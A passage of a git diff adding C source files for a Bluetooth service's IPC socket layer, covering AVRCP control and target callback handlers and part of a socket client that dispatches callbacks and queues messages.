_struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->avrcp_control_callbacks : ins->avrcp_control_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.avrcp_control_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.avrcp_control_cb._on_connection_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_AVRCP_CONTROL_ON_CONNECTION_STATE_CHANGED); +} + +static void on_get_element_attribute_cb(void* cookie, bt_address_t* addr, uint8_t attrs_count, avrcp_element_attr_val_t* attrs) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.addr, addr, sizeof(bt_address_t)); + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.attrs_count = attrs_count; + + for (int i = 0; i < attrs_count; i++) { + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.types[i] = attrs[i].attr_id; + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.chr_sets[i] = attrs[i].chr_set; + switch (attrs[i].attr_id) { + case AVRCP_ATTR_TITLE: + if (attrs[i].text == NULL) { + BT_LOGD("%s, title is null", __func__); + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.title[0] = '\0'; + break; + } + + BT_LOGD("%s, title:%s", __func__, (char*)attrs[i].text); + strlcpy((char*)packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.title, (char*)attrs[i].text, MIN(strlen((char*)attrs[i].text) + 1, AVRCP_ATTR_MAX_TIELE_LEN)); + break; + case AVRCP_ATTR_ARTIST_NAME: + if (attrs[i].text == NULL) { + BT_LOGD("%s, artist is null", __func__); + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.artist[0] = '\0'; + break; + } + + BT_LOGD("%s, artist:%s", __func__, (char*)attrs[i].text); + strlcpy((char*)packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.artist, (char*)attrs[i].text, MIN(strlen((char*)attrs[i].text) + 1, AVRCP_ATTR_MAX_ARTIST_LEN)); + break; + case AVRCP_ATTR_ALBUM_NAME: + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.album[0] = '\0'; + break; + case AVRCP_ATTR_TRACK_NUMBER: + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.track_number[0] = '\0'; + break; + case AVRCP_ATTR_TOTAL_NUMBER_OF_TRACKS: + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.total_track_number[0] = '\0'; + break; + case AVRCP_ATTR_GENRE: + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.gener[0] = '\0'; + break; + case AVRCP_ATTR_PLAYING_TIME_MS: + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.playing_time_ms[0] = '\0'; + break; + case AVRCP_ATTR_COVER_ART_HANDLE: + packet.avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.cover_art_handle[0] = '\0'; + break; + default: + break; + } + } + + bt_socket_server_send(ins, &packet, BT_AVRCP_CONTROL_ON_GET_ELEMENT_ATTRIBUTES_REQUEST); +} + +const static avrcp_control_callbacks_t g_avrcp_control_cbs = { + .size = sizeof(avrcp_control_callbacks_t), + .connection_state_cb = on_connection_state_changed_cb, + .get_element_attribute_cb = on_get_element_attribute_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_avrcp_control_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + avrcp_control_interface_t* profile; + + switch (packet->code) { + case BT_AVRCP_CONTROL_REGISTER_CALLBACKS: + if (ins->avrcp_control_cookie == NULL) { + profile = (avrcp_control_interface_t*)service_manager_get_profile(PROFILE_AVRCP_CT); + if (profile) { + ins->avrcp_control_cookie = profile->register_callbacks(ins, &g_avrcp_control_cbs); + if (ins->avrcp_control_cookie) { + packet->avrcp_control_r.status = BT_STATUS_SUCCESS; + } else { + packet->avrcp_control_r.status = BT_STATUS_NO_RESOURCES; + } + } else { + packet->avrcp_control_r.status = BT_STATUS_SERVICE_NOT_FOUND; + } + } else { + packet->avrcp_control_r.status = BT_STATUS_BUSY; + } + break; + case BT_AVRCP_CONTROL_UNREGISTER_CALLBACKS: + if (ins->avrcp_control_cookie) { + profile = (avrcp_control_interface_t*)service_manager_get_profile(PROFILE_AVRCP_CT); + if (profile) + profile->unregister_callbacks((void**)&ins, ins->avrcp_control_cookie); + ins->avrcp_control_cookie = NULL; + packet->avrcp_control_r.status = BT_STATUS_SUCCESS; + } else { + packet->avrcp_control_r.status = BT_STATUS_NOT_FOUND; + } + break; + case BT_AVRCP_CONTROL_GET_ELEMENT_ATTRIBUTES: + packet->avrcp_control_r.status = BTSYMBOLS(bt_avrcp_control_get_element_attributes)(ins, + &packet->avrcp_control_pl._bt_avrcp_control_get_element_attribute.addr); + break; + default: + switch (BT_IPC_GET_SUBCODE(packet->code)) { + case AVRCP_CT_SUBCODE_SEND_PASSTHROUGH_CMD: + packet->avrcp_control_r.status = BTSYMBOLS(bt_avrcp_control_send_passthrough_cmd)(ins, + &packet->avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.addr, + packet->avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.cmd, + packet->avrcp_control_pl._bt_avrcp_control_send_passthrough_cmd.state); + break; + case AVRCP_CT_SUBCODE_GET_UNIT_INFO_CMD: + packet->avrcp_control_r.status = BTSYMBOLS(bt_avrcp_control_get_unit_info)(ins, + &packet->avrcp_control_pl._bt_avrcp_control_get_unit_info.addr); + break; + case AVRCP_CT_SUBCODE_GET_SUBUNIT_INFO_CMD: + packet->avrcp_control_r.status = BTSYMBOLS(bt_avrcp_control_get_subunit_info)(ins, + &packet->avrcp_control_pl._bt_avrcp_control_get_subunit_info.addr); + break; + case AVRCP_CT_SUBCODE_GET_PLAYBACK_STATE_CMD: + packet->avrcp_control_r.status = BTSYMBOLS(bt_avrcp_control_get_playback_state)(ins, + &packet->avrcp_control_pl._bt_avrcp_control_get_playback_state.addr); + break; + case AVRCP_CT_SUBCODE_REGISTER_NOTIFICATION_CMD: + packet->avrcp_control_r.status = BTSYMBOLS(bt_avrcp_control_register_notification)(ins, + &packet->avrcp_control_pl._bt_avrcp_control_register_notification.addr, + packet->avrcp_control_pl._bt_avrcp_control_register_notification.event, + packet->avrcp_control_pl._bt_avrcp_control_register_notification.interval); + break; + default: + break; + } + + break; + } +} + +#endif + +int bt_socket_client_avrcp_control_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_AVRCP_CONTROL_ON_CONNECTION_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, avrcp_control_callbacks_t, + connection_state_cb, + &packet->avrcp_control_cb._on_connection_state_changed.addr, + packet->avrcp_control_cb._on_connection_state_changed.state); + break; + case BT_AVRCP_CONTROL_ON_GET_ELEMENT_ATTRIBUTES_REQUEST: { + avrcp_element_attr_val_t* attrs = NULL; + attrs = (avrcp_element_attr_val_t*)malloc(sizeof(avrcp_element_attr_val_t) * packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.attrs_count); + for (int i = 0; i < packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.attrs_count; i++) { + attrs[i].attr_id = packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.types[i]; + attrs[i].chr_set = packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.chr_sets[i]; + switch (attrs[i].attr_id) { + case AVRCP_ATTR_TITLE: + attrs[i].text = packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.title; + break; + case AVRCP_ATTR_ARTIST_NAME: + attrs[i].text = packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.values.artist; + break; + case AVRCP_ATTR_ALBUM_NAME: + attrs[i].text = NULL; + break; + case AVRCP_ATTR_TRACK_NUMBER: + attrs[i].text = NULL; + break; + case AVRCP_ATTR_TOTAL_NUMBER_OF_TRACKS: + attrs[i].text = NULL; + break; + case AVRCP_ATTR_GENRE: + attrs[i].text = NULL; + break; + case AVRCP_ATTR_PLAYING_TIME_MS: + attrs[i].text = NULL; + break; + case AVRCP_ATTR_COVER_ART_HANDLE: + attrs[i].text = NULL; + break; + default: + attrs[i].text = NULL; + break; + } + } + CALLBACK_FOREACH(CBLIST, avrcp_control_callbacks_t, + get_element_attribute_cb, + &packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.addr, + packet->avrcp_control_cb._bt_avrcp_control_get_element_attribute.attrs_count, + attrs); + + free(attrs); + } + + break; + + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_avrcp_target.c b/service/ipc/socket/src/bt_socket_avrcp_target.c new file mode 100644 index 0000000000000000000000000000000000000000..848bc143d90f4507c09ad26f9f79be5156ffb91c --- /dev/null +++ b/service/ipc/socket/src/bt_socket_avrcp_target.c @@ -0,0 +1,204 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <syslog.h> +#include <unistd.h> + +#include <sys/socket.h> +#include <sys/un.h> + +#include "bt_internal.h" + +#include "avrcp_target_service.h" +#include "bluetooth.h" +#include "bt_avrcp_target.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "service_loop.h" +#include "service_manager.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CALLBACK_FOREACH(_list, _struct, _cback, ...) \ + BT_CALLBACK_FOREACH(_list, _struct, _cback, ##__VA_ARGS__) +#define CBLIST (__async ? __async->avrcp_target_callbacks : ins->avrcp_target_callbacks) + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +#if defined(CONFIG_BLUETOOTH_SERVER) && defined(__NuttX__) +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.avrcp_target_cb._on_connection_state_changed.addr, addr, sizeof(bt_address_t)); + packet.avrcp_target_cb._on_connection_state_changed.state = state; + bt_socket_server_send(ins, &packet, BT_AVRCP_TARGET_ON_CONNECTION_STATE_CHANGED); +} + +static void on_get_play_status_request_cb(void* cookie, bt_address_t* addr) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.avrcp_target_cb._on_get_play_status_request.addr, addr, sizeof(bt_address_t)); + bt_socket_server_send(ins, &packet, BT_AVRCP_TARGET_ON_GET_PLAY_STATUS_REQUEST); +} + +static void on_register_notification_request_cb(void* cookie, bt_address_t* addr, avrcp_notification_event_t event, uint32_t interval) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.avrcp_target_cb._on_register_notification_request.addr, addr, sizeof(bt_address_t)); + packet.avrcp_target_cb._on_register_notification_request.event = event; + packet.avrcp_target_cb._on_register_notification_request.interval = interval; + bt_socket_server_send(ins, &packet, BT_AVRCP_TARGET_ON_REGISTER_NOTIFICATION_REQUEST); +} + +static void on_received_panel_operation_cb(void* cookie, bt_address_t* addr, uint8_t op, uint8_t state) +{ + bt_message_packet_t packet = { 0 }; + bt_instance_t* ins = cookie; + + memcpy(&packet.avrcp_target_cb._on_received_panel_operator_cb.addr, addr, sizeof(bt_address_t)); + packet.avrcp_target_cb._on_received_panel_operator_cb.op = op; + packet.avrcp_target_cb._on_received_panel_operator_cb.state = state; + bt_socket_server_send(ins, &packet, BT_AVRCP_TARGET_ON_PANEL_OPERATION_RECEIVED); +} + +const static avrcp_target_callbacks_t g_avrcp_target_cbs = { + .size = sizeof(avrcp_target_callbacks_t), + .connection_state_cb = on_connection_state_changed_cb, + .received_get_play_status_request_cb = on_get_play_status_request_cb, + .received_register_notification_request_cb = on_register_notification_request_cb, + .received_panel_operation_cb = on_received_panel_operation_cb, +}; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void bt_socket_server_avrcp_target_process(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet) +{ + avrcp_target_interface_t* profile; + + switch (packet->code) { + case BT_AVRCP_TARGET_REGISTER_CALLBACKS: + if (ins->avrcp_target_cookie == NULL) { + profile = (avrcp_target_interface_t*)service_manager_get_profile(PROFILE_AVRCP_TG); + if (profile) { + ins->avrcp_target_cookie = profile->register_callbacks(ins, &g_avrcp_target_cbs); + if (ins->avrcp_target_cookie) { + packet->avrcp_target_r.status = BT_STATUS_SUCCESS; + } else { + packet->avrcp_target_r.status = BT_STATUS_NO_RESOURCES; + } + } else { + packet->avrcp_target_r.status = BT_STATUS_SERVICE_NOT_FOUND; + } + } else { + packet->avrcp_target_r.status = BT_STATUS_BUSY; + } + break; + case BT_AVRCP_TARGET_UNREGISTER_CALLBACKS: + if (ins->avrcp_target_cookie) { + profile = (avrcp_target_interface_t*)service_manager_get_profile(PROFILE_AVRCP_TG); + if (profile) + profile->unregister_callbacks((void**)&ins, ins->avrcp_target_cookie); + ins->avrcp_target_cookie = NULL; + packet->avrcp_target_r.status = BT_STATUS_SUCCESS; + } else { + packet->avrcp_target_r.status = BT_STATUS_NOT_FOUND; + } + break; + case BT_AVRCP_TARGET_GET_PLAY_STATUS_RESPONSE: + packet->avrcp_target_r.value_bool = BTSYMBOLS(bt_avrcp_target_get_play_status_response)(ins, + &packet->avrcp_target_pl._bt_avrcp_target_get_play_status_response.addr, + packet->avrcp_target_pl._bt_avrcp_target_get_play_status_response.play_status, + packet->avrcp_target_pl._bt_avrcp_target_get_play_status_response.song_len, + packet->avrcp_target_pl._bt_avrcp_target_get_play_status_response.song_pos); + break; + case BT_AVRCP_TARGET_PLAY_STATUS_NOTIFY: + packet->avrcp_target_r.value_bool = BTSYMBOLS(bt_avrcp_target_play_status_notify)(ins, + &packet->avrcp_target_pl._bt_avrcp_target_play_status_notify.addr, + packet->avrcp_target_pl._bt_avrcp_target_play_status_notify.play_status); + break; + default: + break; + } +} + +#endif + +int bt_socket_client_avrcp_target_callback(service_poll_t* poll, + int fd, bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + bt_socket_async_client_t* __async = NULL; + + if (is_async) + __async = ins->priv; + + switch (packet->code) { + case BT_AVRCP_TARGET_ON_CONNECTION_STATE_CHANGED: + CALLBACK_FOREACH(CBLIST, avrcp_target_callbacks_t, + connection_state_cb, + &packet->avrcp_target_cb._on_connection_state_changed.addr, + packet->avrcp_target_cb._on_connection_state_changed.state); + break; + case BT_AVRCP_TARGET_ON_GET_PLAY_STATUS_REQUEST: + CALLBACK_FOREACH(CBLIST, avrcp_target_callbacks_t, + received_get_play_status_request_cb, + &packet->avrcp_target_cb._on_get_play_status_request.addr); + break; + case BT_AVRCP_TARGET_ON_REGISTER_NOTIFICATION_REQUEST: + CALLBACK_FOREACH(CBLIST, avrcp_target_callbacks_t, + received_register_notification_request_cb, + &packet->avrcp_target_cb._on_register_notification_request.addr, + packet->avrcp_target_cb._on_register_notification_request.event, + packet->avrcp_target_cb._on_register_notification_request.interval); + break; + case BT_AVRCP_TARGET_ON_PANEL_OPERATION_RECEIVED: + CALLBACK_FOREACH(CBLIST, avrcp_target_callbacks_t, + received_panel_operation_cb, + &packet->avrcp_target_cb._on_received_panel_operator_cb.addr, + packet->avrcp_target_cb._on_received_panel_operator_cb.op, + packet->avrcp_target_cb._on_received_panel_operator_cb.state); + default: + return BT_STATUS_PARM_INVALID; + } + + return BT_STATUS_SUCCESS; +} diff --git a/service/ipc/socket/src/bt_socket_client.c b/service/ipc/socket/src/bt_socket_client.c new file mode 100644 index 0000000000000000000000000000000000000000..8b84ccdf0a2d68f488578f83ac9515cd34e898db --- /dev/null +++ b/service/ipc/socket/src/bt_socket_client.c @@ -0,0 +1,810 @@ +/**************************************************************************** + * service/ipc/socket/src/bt_socket_client.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "bt_socket_client" + +#include <assert.h> +#include <errno.h> +#include <poll.h> +#include <stdlib.h> +#include <string.h> +#include <sys/socket.h> +#include <syslog.h> +#include <unistd.h> + +#ifndef __NuttX__ +#include <linux/un.h> +#else +#include <sys/un.h> +#endif + +#include "bt_config.h" +#ifdef CONFIG_NET_RPMSG +#include <netpacket/rpmsg.h> +#endif + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_debug.h" +#include "bt_dfx.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "callbacks_list.h" +#include "utils/log.h" +#include "uv_thread_loop.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define CLIENT_MAX_RETRY 10 +#define CLIENT_MIN_RETRY_DELAY_MS 100 +#define CLIENT_DELAY_MS(retry) ((CLIENT_MAX_RETRY - retry) * CLIENT_MIN_RETRY_DELAY_MS) + +/**************************************************************************** + * Private Types + ****************************************************************************/ +typedef struct _work_msg { + struct list_node node; + bt_instance_t* ins; + bt_message_packet_t packet; +} bt_client_msg_t; + +/**************************************************************************** + * Private Functions + ****************************************************************************/ + +typedef void (*bt_socket_callback_t)(void*, int, bt_instance_t*, bt_message_packet_t*, bool); + +static void bt_socket_client_callback_process(bt_instance_t* ins, bt_message_packet_t* packet, bool is_async) +{ + static const struct { + uint32_t start; + uint32_t end; + bt_socket_callback_t callback; + } callback_map[] = { + { BT_ADAPTER_CALLBACK_START, BT_ADAPTER_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_adapter_callback }, + { BT_IPC_CODE_CALLBACK_ADAPTER_BEGIN, BT_IPC_CODE_CALLBACK_ADAPTER_END, (bt_socket_callback_t)bt_socket_client_adapter_callback }, +#ifdef CONFIG_BLUETOOTH_HFP_AG + { BT_HFP_AG_CALLBACK_START, BT_HFP_AG_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_hfp_ag_callback }, + { BT_IPC_CODE_CALLBACK_HFP_AG_BEGIN, BT_IPC_CODE_CALLBACK_HFP_AG_END, (bt_socket_callback_t)bt_socket_client_hfp_ag_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_HFP_HF + { BT_HFP_HF_CALLBACK_START, BT_HFP_HF_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_hfp_hf_callback }, + { BT_IPC_CODE_CALLBACK_HFP_HF_BEGIN, BT_IPC_CODE_CALLBACK_HFP_HF_END, (bt_socket_callback_t)bt_socket_client_hfp_hf_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + { BT_A2DP_SINK_CALLBACK_START, BT_A2DP_SINK_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_a2dp_sink_callback }, + { BT_IPC_CODE_CALLBACK_A2DP_SINK_BEGIN, BT_IPC_CODE_CALLBACK_A2DP_SINK_END, (bt_socket_callback_t)bt_socket_client_a2dp_sink_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + { BT_A2DP_SOURCE_CALLBACK_START, BT_A2DP_SOURCE_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_a2dp_source_callback }, + { BT_IPC_CODE_CALLBACK_A2DP_SRC_BEGIN, BT_IPC_CODE_CALLBACK_A2DP_SRC_END, (bt_socket_callback_t)bt_socket_client_a2dp_source_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + { BT_AVRCP_TARGET_CALLBACK_START, BT_AVRCP_TARGET_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_avrcp_target_callback }, + { BT_IPC_CODE_CALLBACK_AVRCP_TG_BEGIN, BT_IPC_CODE_CALLBACK_AVRCP_TG_END, (bt_socket_callback_t)bt_socket_client_avrcp_target_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + { BT_AVRCP_CONTROL_CALLBACK_START, BT_AVRCP_CONTROL_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_avrcp_control_callback }, + { BT_IPC_CODE_CALLBACK_AVRCP_CT_BEGIN, BT_IPC_CODE_CALLBACK_AVRCP_CT_END, (bt_socket_callback_t)bt_socket_client_avrcp_control_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_BLE_ADV + { BT_ADVERTISER_CALLBACK_START, BT_ADVERTISER_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_advertiser_callback }, + { BT_IPC_CODE_CALLBACK_BLE_ADVERTISER_BEGIN, BT_IPC_CODE_CALLBACK_BLE_ADVERTISER_END, (bt_socket_callback_t)bt_socket_client_advertiser_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_BLE_SCAN + { BT_SCAN_CALLBACK_START, BT_SCAN_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_scan_callback }, + { BT_IPC_CODE_CALLBACK_BLE_SCAN_BEGIN, BT_IPC_CODE_CALLBACK_BLE_SCAN_END, (bt_socket_callback_t)bt_socket_client_scan_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT + { BT_GATT_CLIENT_CALLBACK_START, BT_GATT_CLIENT_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_gattc_callback }, + { BT_IPC_CODE_CALLBACK_GATTC_BEGIN, BT_IPC_CODE_CALLBACK_GATTC_END, (bt_socket_callback_t)bt_socket_client_gattc_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_GATT_SERVER + { BT_GATT_SERVER_CALLBACK_START, BT_GATT_SERVER_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_gatts_callback }, + { BT_IPC_CODE_CALLBACK_GATTS_BEGIN, BT_IPC_CODE_CALLBACK_GATTS_END, (bt_socket_callback_t)bt_socket_client_gatts_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_SPP + { BT_SPP_CALLBACK_START, BT_SPP_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_spp_callback }, + { BT_IPC_CODE_CALLBACK_SPP_BEGIN, BT_IPC_CODE_CALLBACK_SPP_END, (bt_socket_callback_t)bt_socket_client_spp_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_PAN + { BT_PAN_CALLBACK_START, BT_PAN_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_pan_callback }, + { BT_IPC_CODE_CALLBACK_PAN_BEGIN, BT_IPC_CODE_CALLBACK_PAN_END, (bt_socket_callback_t)bt_socket_client_pan_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_HID_DEVICE + { BT_HID_DEVICE_CALLBACK_START, BT_HID_DEVICE_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_hid_device_callback }, + { BT_IPC_CODE_CALLBACK_HID_DEV_BEGIN, BT_IPC_CODE_CALLBACK_HID_DEV_END, (bt_socket_callback_t)bt_socket_client_hid_device_callback }, +#endif +#ifdef CONFIG_BLUETOOTH_L2CAP + { BT_L2CAP_CALLBACK_START, BT_L2CAP_CALLBACK_END, (bt_socket_callback_t)bt_socket_client_l2cap_callback }, + { BT_IPC_CODE_CALLBACK_L2CAP_BEGIN, BT_IPC_CODE_CALLBACK_L2CAP_END, (bt_socket_callback_t)bt_socket_client_l2cap_callback }, +#endif + }; + + for (size_t i = 0; i < sizeof(callback_map) / sizeof(callback_map[0]); ++i) { + if (BT_IPC_CODE_CHECK_RANGE(packet->code, callback_map[i].start, callback_map[i].end)) { + callback_map[i].callback(NULL, -1, ins, packet, is_async); + return; + } + } + + BT_LOGE("%s, Unhandled message: %d", __func__, (int)packet->code); +} + +static void bt_socket_client_msg_process(bt_client_msg_t* msg) +{ + bt_message_packet_t* packet = &msg->packet; + + bt_socket_client_callback_process(msg->ins, packet, false); + free(msg); +} + +static void bt_socket_client_async_close(uv_handle_t* handle) +{ + free(handle); +} + +static void bt_socket_client_async_cb(uv_async_t* handle) +{ + bt_instance_t* ins = handle->data; + + for (;;) { + uv_mutex_lock(&ins->lock); + bt_client_msg_t* msg = (bt_client_msg_t*)list_remove_head(&ins->msg_queue); + if (!msg) { + uv_mutex_unlock(&ins->lock); + return; + } + uv_mutex_unlock(&ins->lock); + + bt_socket_client_msg_process(msg); + } +} + +static bt_status_t callback_send_to_external(bt_instance_t* ins, bt_client_msg_t* msg) +{ + uv_mutex_lock(&ins->lock); + if (!ins->external_async) { + ins->external_async = malloc(sizeof(uv_async_t)); + int ret = uv_async_init(ins->external_loop, ins->external_async, bt_socket_client_async_cb); + if (ret != 0) { + uv_mutex_unlock(&ins->lock); + return BT_STATUS_BUSY; + } + ins->external_async->data = ins; + } + + list_add_tail(&ins->msg_queue, &msg->node); + uv_async_send(ins->external_async); + uv_mutex_unlock(&ins->lock); + + return BT_STATUS_SUCCESS; +} + +static void bt_socket_client_work(uv_work_t* req) +{ + bt_socket_client_msg_process(req->data); +} + +static void bt_socket_client_after_work(uv_work_t* req, int status) +{ + assert(req); + + free(req); +} + +static bt_status_t callback_send_to_queue_work(bt_instance_t* ins, bt_client_msg_t* msg) +{ + uv_work_t* work = zalloc(sizeof(*work)); + if (work == NULL) + return BT_STATUS_NOMEM; + + work->data = msg; + if (uv_queue_work(ins->client_loop, work, bt_socket_client_work, bt_socket_client_after_work) != 0) { + free(work); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static int bt_socket_client_receive(uv_poll_t* poll, int fd, void* userdata) +{ + bt_instance_t* ins = userdata; + bt_message_packet_t* packet; + int ret; + + packet = ins->packet; + + ret = recv(fd, (char*)packet + ins->offset, sizeof(*packet) - ins->offset, 0); + if (ret == 0) { + thread_loop_remove_poll(poll); + return ret; + } else if (ret < 0) { + if (errno == EINTR || errno == EAGAIN) { + return BT_STATUS_SUCCESS; + } + return ret; + } + + ins->offset += ret; + + if (ins->offset != sizeof(*packet)) { + return BT_STATUS_SUCCESS; + } else { + ins->offset = 0; + } + + if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_MESSAGE_START, BT_MESSAGE_END) + || (BT_IPC_CODE_CHECK_TYPE(packet->code, BT_IPC_CODE_TYPE_COMMAND) + && !BT_IPC_CODE_CHECK_GROUP(packet->code, BT_IPC_CODE_GROUP_LEGACY))) { + if (ins->cpacket == NULL) + return BT_STATUS_SUCCESS; + + memcpy(ins->cpacket, packet, sizeof(*packet)); + uv_sem_post(&ins->message_processed); + return BT_STATUS_SUCCESS; + } else if (BT_IPC_CODE_CHECK_RANGE(packet->code, BT_CALLBACK_START, BT_CALLBACK_END) + || (BT_IPC_CODE_CHECK_TYPE(packet->code, BT_IPC_CODE_TYPE_CALLBACK) + && !BT_IPC_CODE_CHECK_GROUP(packet->code, BT_IPC_CODE_GROUP_LEGACY))) { + bt_client_msg_t* msg = malloc(sizeof(*msg)); + if (!msg) { + BT_DFX_IPC_ALLOC_ERROR(BT_DFXE_CLIENT_MSG_ALLOC_FAIL, packet->code); + return BT_STATUS_NOMEM; + } + + msg->ins = ins; + memcpy(&msg->packet, packet, sizeof(*packet)); + if (ins->external_loop) { + bt_status_t status = callback_send_to_external(ins, msg); + if (status != BT_STATUS_SUCCESS) { + free(msg); + return status; + } + } else { + if (callback_send_to_queue_work(ins, msg) != BT_STATUS_SUCCESS) { + free(msg); + return BT_STATUS_FAIL; + } + } + } else { + assert(0); + } + + return BT_STATUS_SUCCESS; +} + +static void bt_socket_client_handle_event(uv_poll_t* poll, int status, int events) +{ + uv_os_fd_t fd; + int ret; + bt_instance_t* ins = poll->data; + + ret = uv_fileno((uv_handle_t*)poll, &fd); + if (ret) { + thread_loop_remove_poll(poll); + return; + } + + if (status != 0 || events & UV_DISCONNECT) { + uv_sem_post(&ins->message_processed); + thread_loop_remove_poll(poll); + if (ins && ins->disconnected) { + BT_LOGE("%s socket disconnect, status = %d, events = %d", __func__, status, events); + ins->disconnected(ins, NULL, status); + } + } else if (events & UV_READABLE) { + ret = bt_socket_client_receive(poll, fd, poll->data); + if (ret != BT_STATUS_SUCCESS) + thread_loop_remove_poll(poll); + } +} + +static int bt_socket_client_connect(int family, const char* name, + const char* cpu, int port) +{ + union { + struct sockaddr_in inet_addr; + struct sockaddr_un local_addr; +#ifdef CONFIG_NET_RPMSG + struct sockaddr_rpmsg rpmsg_addr; +#endif + } u = { 0 }; + socklen_t addr_len = 0; + int fd; + + if (family == 